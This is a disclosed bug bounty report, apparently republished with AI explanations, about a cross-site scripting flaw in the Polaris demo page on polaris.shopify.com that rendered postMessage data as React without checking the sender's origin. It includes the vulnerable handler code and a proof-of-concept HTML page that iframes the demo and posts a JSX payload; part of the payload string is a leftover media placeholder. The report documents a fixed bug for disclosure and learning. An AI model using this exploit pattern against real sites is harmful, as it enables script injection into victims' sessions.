xss on polaris.shopify.com/demo using postMessage
The Polaris demo page listens for postMessage events and renders the supplied AST code as React without checking the message origin. An attacker could send a crafted message from another page to run arbitrary JavaScript in the victim's browser on the polaris.shopify.com origin.
- Triaged in 7 hours
- Fixed in 25 hours
- Disclosed after 8 months
Description
it's possible to run arbitrary js code using https://polaris.shopify.com/demo + postMessage
following codes are from this file which formatted using prettier
Demo component (line 381) uses addEventListener to listen for message events (line #401):
componentDidMount() {
window.addEventListener("message", this.handleMessage),
this.throttledSendDetails(),
window.addEventListener("click", handleAnchorClick);
}
handleMessage method (line #499) will set data.ats as component state without checking message origin:
handleMessage(e) {
var { data: t } = e;
console.log(e);
var r = Object(_app_utilities_ast__WEBPACK_IMPORTED_MODULE_61__.a)(
t.ast.code
);
t &&
Object.prototype.hasOwnProperty.call(t, "ast") &&
this.setState({
ast: r,
fullSizeExamples: t.fullSizeExamples,
omitAppProvider: t.omitAppProvider,
});
}
ast.code later rendered as React code.
Step to Reproduce
- create a HTML file containing an
iframewithhttps://polaris.shopify.com/demoassrc - after iframe loaded, send a message with
{ast: {code: "JSX code"}}as data
<iframe id="ifrm" src="https://polaris.shopify.com/demo" height="100%" width="100%" frameborder="0"></iframe>
<script>
var ifrm = document.getElementById('ifrm');
ifrm.onload = function() {
ifrm.contentWindow.postMessage({ast: {
code: "{{media:0}} alert(document.location)} />;",
}}, '*');
}
</script>
PoC
http://209.141.43.59/shopify-xss.html
Impact
attacker can use bug to run arbitrary js code in victims browser.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the message handler trusted any incoming postMessage and rendered the supplied code as React without validating the sender's origin.
Impact
An attacker could run arbitrary JavaScript in a victim's browser in the context of the polaris.shopify.com origin.
What the attacker needed
Victim visits attacker-controlled page; demo page loaded in an iframe
How it was found
- Create an HTML page containing an iframe whose source is the Polaris demo page.
- Wait for the iframe to finish loading.
- Send a message containing an ast object with code to the iframe's window.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A web page can receive messages from other pages through a browser feature called postMessage. This demo page accepted such messages and turned the code inside them into live page content without checking who sent them, so another site could make it run the attacker's JavaScript.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.